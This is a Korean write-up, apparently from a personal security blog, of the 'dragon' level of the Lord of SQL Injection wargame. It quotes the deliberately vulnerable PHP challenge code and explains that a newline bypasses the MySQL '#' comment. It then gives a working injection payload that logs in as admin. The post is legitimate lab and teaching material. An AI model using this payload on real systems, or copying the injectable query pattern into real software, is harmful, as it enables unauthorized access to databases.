Tyojong
[LOS] dragon 본문
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("dragon");
highlight_file(__FILE__);
?>
문제 목표
$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
where문 id값 뒤에는 주석처리가 된다.
if($result['id'] == 'admin') solve("dragon");
id가 admin이면 문제가 해결된다.
문제 해결
#은 mysql에서 한 줄 주석이다. 때문에 개행을 넣으면 주석의 영향을 받지 않는다.
줄바꿈의 url 인코딩값인 %0a 입력 후 id='guest'를 무시하도록 and pw=1 을 입력하고 id가 admin이 출력 될 수 있도록 or id='admin' --+ 을 입력하면 문제가 해결된다.
?pw=%0aand pw=1 or id='admin'--+

'web > LOS' 카테고리의 다른 글
| [LOS] xavis (2) | 2026.01.27 |
|---|---|
| [LOS] nightmare (0) | 2026.01.07 |
| [LOS] zombie_assassin (0) | 2025.08.14 |
| [LOS] succubus (0) | 2025.08.13 |
| [LOS] assassin (2) | 2025.08.12 |
